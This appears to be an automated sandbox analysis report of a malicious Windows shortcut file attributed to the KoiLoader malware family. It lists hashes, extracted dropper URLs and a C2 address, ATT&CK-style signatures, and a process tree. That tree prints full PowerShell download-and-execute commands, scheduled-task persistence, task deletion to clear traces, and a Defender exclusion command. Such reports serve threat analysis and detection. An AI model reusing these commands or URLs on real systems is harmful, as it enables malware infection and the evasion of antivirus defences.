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Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/12/2024, 08:14

General

  • Target

    e02e837f8b43f14dd1de0c924fb9c7c2ead99fe1589bfb5126f120be5bc8599b.lnk

  • Size

    3KB

  • MD5

    ef8150f41db3c25684ff13470182898f

  • SHA1

    6a10b98d8cd2fb0fa641d282ea30fc196638b8cd

  • SHA256

    e02e837f8b43f14dd1de0c924fb9c7c2ead99fe1589bfb5126f120be5bc8599b

  • SHA512

    d7937781c09595c1b0c4a058929579a7499b7e28c67ef48f3ab6704a4c3b2b80cea38a1452f275e0b1205ddbabeeceaadf3c3fcd84be8fb6270904859eeff6c3

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/triazoicuTsQo.php

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/butterfliesxH2dz.php

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1

Extracted

Family

koiloader

C2

http://195.123.217.43/oversate.php

Attributes
  • payload_url

    https://www.italialife24.it/wp-content/uploads/2021/05

Signatures

  • KoiLoader

    KoiLoader is a malware loader written in C++.

  • Koiloader family
  • Detects KoiLoader payload 2 IoCs
  • Blocklisted process makes network request 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Indicator Removal: Clear Persistence 1 TTPs 2 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\e02e837f8b43f14dd1de0c924fb9c7c2ead99fe1589bfb5126f120be5bc8599b.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -comman [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $s9iJkyOlgfNn3 = New-Object Net.WebClient; $cio = $s9iJkyOlgfNn3.DownloadData('https://www.italialife24.it/wp-content/uploads/2021/05/triazoicuTsQo.php'); $s9iJkyOlgfNn3.DownloadFile('https://www.italialife24.it/wp-content/uploads/2021/05/butterfliesxH2dz.php', 'EB3Vk0QhrcN4wn.js'); schtasks /create /sc minute /mo 1 /f /tr ([System.Text.Encoding]::UTF8.GetString($cio) + $env:tmp + '\' + ('EB3Vk0QhrcN4wn.js ' * 2)) /tn HAoyOEGl0;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1736
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\Users\Admin\AppData\Local\Temp\EB3Vk0QhrcN4wn.js EB3Vk0QhrcN4wn.js " /tn HAoyOEGl0
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3620
  • C:\Windows\system32\wscript.EXE
    C:\Windows\system32\wscript.EXE C:\Users\Admin\AppData\Local\Temp\EB3Vk0QhrcN4wn.js EB3Vk0QhrcN4wn.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4352
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "IWR -outfi $env:programdata\22N5NG1GVHIS.js -usebasi 'https://www.italialife24.it/wp-content/uploads/2021/05/afretPf.php'; schtasks /delete /tn EB3Vk0QhrcN4wn.js /f; wscript $env:programdata\22N5NG1GVHIS.js "
      2⤵
      • Blocklisted process makes network request
      • Indicator Removal: Clear Persistence
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2020
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /delete /tn EB3Vk0QhrcN4wn.js /f
        3⤵
          PID:1508
        • C:\Windows\system32\wscript.exe
          "C:\Windows\system32\wscript.exe" C:\ProgramData\22N5NG1GVHIS.js
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:4488
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php'; $l2 = 'https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7z6UGKSMBKAI'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:5100
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://www.italialife24.it/wp-content/uploads/2021/05/sd2.ps1')"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2404
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -command IEX(IWR -UseBasicParsing 'https://www.italialife24.it/wp-content/uploads/2021/05/sd2.ps1')
                6⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2836
    • C:\Windows\SysWOW64\DllHost.exe
      C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
      1⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3620
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1668
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4448
    • C:\Windows\system32\wscript.EXE
      C:\Windows\system32\wscript.EXE C:\Users\Admin\AppData\Local\Temp\EB3Vk0QhrcN4wn.js EB3Vk0QhrcN4wn.js
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:892
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "IWR -outfi $env:programdata\22N5NG1GVHIS.js -usebasi 'https://www.italialife24.it/wp-content/uploads/2021/05/afretPf.php'; schtasks /delete /tn EB3Vk0QhrcN4wn.js /f; wscript $env:programdata\22N5NG1GVHIS.js "
        2⤵
        • Blocklisted process makes network request
        • Indicator Removal: Clear Persistence
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1756
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /delete /tn EB3Vk0QhrcN4wn.js /f
          3⤵
            PID:3804
          • C:\Windows\system32\wscript.exe
            "C:\Windows\system32\wscript.exe" C:\ProgramData\22N5NG1GVHIS.js
            3⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:4312
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php'; $l2 = 'https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7z8G17ASWGHN'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
              4⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3800
      • C:\Windows\System32\wscript.exe
        C:\Windows\System32\wscript.exe "C:\ProgramData\r4304acb9-c3f6-452a-9860-eb4e85d38d4er.js"
        1⤵
          PID:2476

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\ProgramData\22N5NG1GVHIS.js

          Filesize

          1KB

          MD5

          bc704924787fbe6110e81123db20206a

          SHA1

          427cec9511769e702b5c8d5b4189578bfbd2b7ad

          SHA256

          d27ee28176f0e663dac01e827929ede1cb63c2ef187c3dac77db6d6292e55eea

          SHA512

          4045aa38438f0a8e87ecb1066d532655033ccd5eaf5752a45aab89616165912c37308e4654dad3ff8fdcbdc377bd2dfab57567129284c10330e41cdf470507e7

        • C:\ProgramData\22N5NG1GVHIS.js

          Filesize

          1KB

          MD5

          0122642b49ee1713f017076a6e0c6791

          SHA1

          400864355e8c9e0822b3b9173844697c27f4a022

          SHA256

          b56d33a2084a5eb64b4eb5467e47c40140a2a67d5e58aca3e6ad6906f7c670a1

          SHA512

          b35344794213aa3c50c68485b534b71217c232f2388c40c215ba3ffe677b4cfe6d371e48ffe9a10c0f38e844db3eef2184c238c497cd472d6ff5b70d026e6f3b

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          2f57fde6b33e89a63cf0dfdd6e60a351

          SHA1

          445bf1b07223a04f8a159581a3d37d630273010f

          SHA256

          3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

          SHA512

          42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          968cb9309758126772781b83adb8a28f

          SHA1

          8da30e71accf186b2ba11da1797cf67f8f78b47c

          SHA256

          92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

          SHA512

          4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

          Filesize

          53KB

          MD5

          06ad34f9739c5159b4d92d702545bd49

          SHA1

          9152a0d4f153f3f40f7e606be75f81b582ee0c17

          SHA256

          474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

          SHA512

          c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          19KB

          MD5

          ecfd8818d0ef5f8e6995b2421085d7d3

          SHA1

          97b75e0cc8d71bd20200fb6d1d3cea17d5d9dcfb

          SHA256

          8a6f44ab7df5879e777e4a8b2207c7f5e0b9a1821fdb617eb3928386027b45c5

          SHA512

          86663f3769c9b985b3e9738f03bcbdadc8d560d2ea9da39b338d6b09453ca8d4b62792a06e23ff62b2c57a0b9514f40f771d551e3f6edb11706aa9596ea29a56

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          477031a32089e6d066092d640b526add

          SHA1

          5041602c7c71b4c6e40928039dcc07b6b32a67f2

          SHA256

          0ec3dcb238a28e1b43e2f7b03f955f6304927314c40a51f1d4b2b00345c12bef

          SHA512

          01388ea1af8248901beb17d1fa62efead2ae1bf9accfc8e132f4f0c0e77c068fd7e998d218043fdc90c497824ca3723689502490da4fd97237a4f0d40ef2bb4e

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          ae343a0c544713797d1582baed41cd6c

          SHA1

          170efb0fbebe36a6f605c6cfd664525f1158a58e

          SHA256

          dbc33d6f061613aaf9ec0a3472b37ec709ac168cde70c7b48c5807765f3ed292

          SHA512

          68afed158e066e67d6526627ceda320e1702779b95b8fe597ef573c1be7bcef0dc19f0e6fc17e8103c16fb0aa77d83e06e5f64435100d60193e3ee72e9bbc8b5

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          a5c074e56305e761d7cbc42993300e1c

          SHA1

          39b2e23ba5c56b4f332b3607df056d8df23555bf

          SHA256

          e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953

          SHA512

          c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8

        • C:\Users\Admin\AppData\Local\Temp\EB3Vk0QhrcN4wn.js

          Filesize

          304B

          MD5

          078c4d308ffa33a6c085f1a7a08a08ca

          SHA1

          16645fb11e02d578709317b4ef5e6e4d41028df7

          SHA256

          7c62714d6a0e86080b313d45cac54fd68deeabd3608046951243754dfb84c8fb

          SHA512

          6bba6fe0b9623916eefe85d97fc1103e0e2dc95f70a60164ffb19241ae4270782e0f6f5fc458cc200414bcf237f7ce592f9d7c4a44ffdbd83f6008bee0430a36

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vpcqdbqj.vaz.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/1736-3-0x000001483A790000-0x000001483A7B2000-memory.dmp

          Filesize

          136KB

        • memory/1736-2-0x00007FF909133000-0x00007FF909135000-memory.dmp

          Filesize

          8KB

        • memory/1736-18-0x00007FF909130000-0x00007FF909BF1000-memory.dmp

          Filesize

          10.8MB

        • memory/1736-14-0x00007FF909130000-0x00007FF909BF1000-memory.dmp

          Filesize

          10.8MB

        • memory/1736-13-0x00007FF909130000-0x00007FF909BF1000-memory.dmp

          Filesize

          10.8MB

        • memory/2836-101-0x0000000007F50000-0x00000000084F4000-memory.dmp

          Filesize

          5.6MB

        • memory/2836-100-0x0000000007160000-0x0000000007182000-memory.dmp

          Filesize

          136KB

        • memory/2836-104-0x0000000007AE0000-0x0000000007B72000-memory.dmp

          Filesize

          584KB

        • memory/2836-103-0x00000000079F0000-0x0000000007A40000-memory.dmp

          Filesize

          320KB

        • memory/2836-102-0x0000000007880000-0x000000000789A000-memory.dmp

          Filesize

          104KB

        • memory/3800-134-0x0000000007BC0000-0x0000000007BCD000-memory.dmp

          Filesize

          52KB

        • memory/4448-69-0x0000000007050000-0x0000000007082000-memory.dmp

          Filesize

          200KB

        • memory/4448-70-0x0000000070400000-0x000000007044C000-memory.dmp

          Filesize

          304KB

        • memory/4448-80-0x0000000007030000-0x000000000704E000-memory.dmp

          Filesize

          120KB

        • memory/4448-97-0x00000000074F0000-0x00000000074F8000-memory.dmp

          Filesize

          32KB

        • memory/4448-81-0x00000000070A0000-0x0000000007143000-memory.dmp

          Filesize

          652KB

        • memory/4448-82-0x0000000007240000-0x000000000724A000-memory.dmp

          Filesize

          40KB

        • memory/4448-83-0x0000000007450000-0x00000000074E6000-memory.dmp

          Filesize

          600KB

        • memory/4448-84-0x00000000073D0000-0x00000000073E1000-memory.dmp

          Filesize

          68KB

        • memory/4448-94-0x0000000007400000-0x000000000740E000-memory.dmp

          Filesize

          56KB

        • memory/4448-95-0x0000000007410000-0x0000000007424000-memory.dmp

          Filesize

          80KB

        • memory/4448-96-0x0000000007510000-0x000000000752A000-memory.dmp

          Filesize

          104KB

        • memory/5100-36-0x00000000057F0000-0x0000000005E18000-memory.dmp

          Filesize

          6.2MB

        • memory/5100-56-0x0000000007C60000-0x0000000007C6D000-memory.dmp

          Filesize

          52KB

        • memory/5100-55-0x0000000007BD0000-0x0000000007BD1000-memory.dmp

          Filesize

          4KB

        • memory/5100-54-0x0000000007D40000-0x00000000083BA000-memory.dmp

          Filesize

          6.5MB

        • memory/5100-53-0x0000000006AC0000-0x0000000006ADA000-memory.dmp

          Filesize

          104KB

        • memory/5100-52-0x0000000006780000-0x00000000067CC000-memory.dmp

          Filesize

          304KB

        • memory/5100-51-0x00000000066E0000-0x00000000066FE000-memory.dmp

          Filesize

          120KB

        • memory/5100-49-0x00000000060C0000-0x0000000006414000-memory.dmp

          Filesize

          3.3MB

        • memory/5100-39-0x0000000005F60000-0x0000000005FC6000-memory.dmp

          Filesize

          408KB

        • memory/5100-38-0x0000000005EF0000-0x0000000005F56000-memory.dmp

          Filesize

          408KB

        • memory/5100-37-0x0000000005E50000-0x0000000005E72000-memory.dmp

          Filesize

          136KB

        • memory/5100-35-0x0000000003110000-0x0000000003146000-memory.dmp

          Filesize

          216KB